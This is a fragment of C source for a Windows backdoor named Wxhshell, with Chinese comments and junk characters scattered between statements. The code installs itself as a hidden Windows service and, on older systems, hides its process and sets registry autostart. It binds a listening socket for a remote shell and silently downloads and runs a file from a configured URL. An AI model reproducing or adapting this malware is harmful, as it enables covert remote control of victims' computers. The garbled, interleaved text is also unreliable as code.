H5M#q6`H6 6
=>G# // 主模块 X"/~4\tJ" int StartWxhshell(LPSTR lpCmdLine) .6 T4 z7I { uMiyq< SOCKET wsl; HeS'~Z$ BOOL val=TRUE; i21QJ6jPcI int port=0; Zu#< struct sockaddr_in door; >t#\&|9I a%J/0'(d if(wscfg.ws_autoins) Install(); Y5%;p33uFG pVG>A&4 port=atoi(lpCmdLine);
GX38~pq pxplWP, if(port<=0) port=wscfg.ws_port; *m&&1W_ /hci\-8N~ WSADATA data; JlIS0hnv if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xb<)LHA~3 'Y)/~\FI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !5.v'K' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2OC dG door.sin_family = AF_INET; kI+b <$:D door.sin_addr.s_addr = inet_addr("127.0.0.1"); gb-tNhJa@b door.sin_port = htons(port); %ck`0JZAP X_?%A54z? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i./Y w closesocket(wsl); cx:jUsb6 return 1; =|JKu' } `7_n}8NVC 3@HIpQM3 if(listen(wsl,2) == INVALID_SOCKET) { Xz* tbW# closesocket(wsl); _IKQ36= return 1; H%T3Pc } K~JC\a\0 Wxhshell(wsl); 6`j<l5-h WSACleanup(); _z%\'(l+ opnkmM&[ return 0; f#c BQ~ |wJ),h8/ } VY{,x;O` 4ioNA/E // 以NT服务方式启动 #VR`?n?, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L]NYYP- { %\ _h7: DWORD status = 0; q8tug=c DWORD specificError = 0xfffffff; i*b4uHna !$XO
U'n serviceStatus.dwServiceType = SERVICE_WIN32; %9.bu|`KK serviceStatus.dwCurrentState = SERVICE_START_PENDING; dr>]+H=3E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $"(3M nR serviceStatus.dwWin32ExitCode = 0; M'vXyb%$1 serviceStatus.dwServiceSpecificExitCode = 0; $1=v.'Y serviceStatus.dwCheckPoint = 0; A7e_w
7?a serviceStatus.dwWaitHint = 0; `F@f?*s: <WgG=Kf)N hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3XBp6` if (hServiceStatusHandle==0) return; Q.uR<C6)v k0=|10bi status = GetLastError(); f`bIQ 9R if (status!=NO_ERROR) &a~L_`\' { 8Q)y%7{6 serviceStatus.dwCurrentState = SERVICE_STOPPED; >02i8:Tp5K serviceStatus.dwCheckPoint = 0; ,at-ci\' serviceStatus.dwWaitHint = 0; r)(i{:@r` serviceStatus.dwWin32ExitCode = status; (
/
G)"] serviceStatus.dwServiceSpecificExitCode = specificError; U8U/?zW/& SetServiceStatus(hServiceStatusHandle, &serviceStatus); dcM+ylB return; EgCp:L{ } J>/Ci\OB M_|M&lR> serviceStatus.dwCurrentState = SERVICE_RUNNING; |UABar b serviceStatus.dwCheckPoint = 0; %y! serviceStatus.dwWaitHint = 0; 0 [*nAo if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gE-lM/w } H@Kl /0X0#+kn // 处理NT服务事件,比如:启动、停止 5mDVFb 3a VOID WINAPI NTServiceHandler(DWORD fdwControl) /QM0.{Ypl { F<H`8*q9 switch(fdwControl) U+I3 P { qT&S case SERVICE_CONTROL_STOP: qYQUr8{ serviceStatus.dwWin32ExitCode = 0; WXRHG)nvL serviceStatus.dwCurrentState = SERVICE_STOPPED; E5v|SFD serviceStatus.dwCheckPoint = 0; pQ 4
%]Api serviceStatus.dwWaitHint = 0; DtI%-I. { 4Xa.r6T_N= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6~>^pkV } ZA 99vO return; &h_d|8 case SERVICE_CONTROL_PAUSE: ;D%5 nnr serviceStatus.dwCurrentState = SERVICE_PAUSED; dn:|m^<) break; g: H[#I case SERVICE_CONTROL_CONTINUE: a3DoLq"/ serviceStatus.dwCurrentState = SERVICE_RUNNING; A`+(VzZgJ break; N6-2*ES case SERVICE_CONTROL_INTERROGATE: Q&:92f\y break; ;[;S_|vZ=) }; f@,hO5h(_| SetServiceStatus(hServiceStatusHandle, &serviceStatus); -wG[>Y } Yg]FF`{p= }lrfO_ // 标准应用程序主函数 TZ`]#^kU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iq[2H$ { sf|_2sI \?p9qR;"4 // 获取操作系统版本 -jklH/gF\% OsIsNt=GetOsVer(); uBd =x<c\ GetModuleFileName(NULL,ExeFile,MAX_PATH); =~(L JPo6 [|P]St- // 从命令行安装 Z7k1fv:S^ if(strpbrk(lpCmdLine,"iI")) Install(); "' i [~ &].1[&M] // 下载执行文件 ~
33@H if(wscfg.ws_downexe) { Yg:74; . if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mF$jC:Tb WinExec(wscfg.ws_filenam,SW_HIDE); O!@KM; } R'$ T6FB5 k6 h^ if(!OsIsNt) { c] :J/'vc // 如果时win9x,隐藏进程并且设置为注册表启动 CUTEp/+ HideProc(); VS@rM<K{ StartWxhshell(lpCmdLine); ]#Z$jq{, } XDv7#Tv_wv else $=6kh+n@ if(StartFromService()) pdXgr)Uv // 以服务方式启动 &VBD2_T StartServiceCtrlDispatcher(DispatchTable); ~{]m8a/ `6 else L-oPb) // 普通方式启动 c )P%O StartWxhshell(lpCmdLine); ,"lBS? 2H32wpY
,l return 0; &@.=)4Y }
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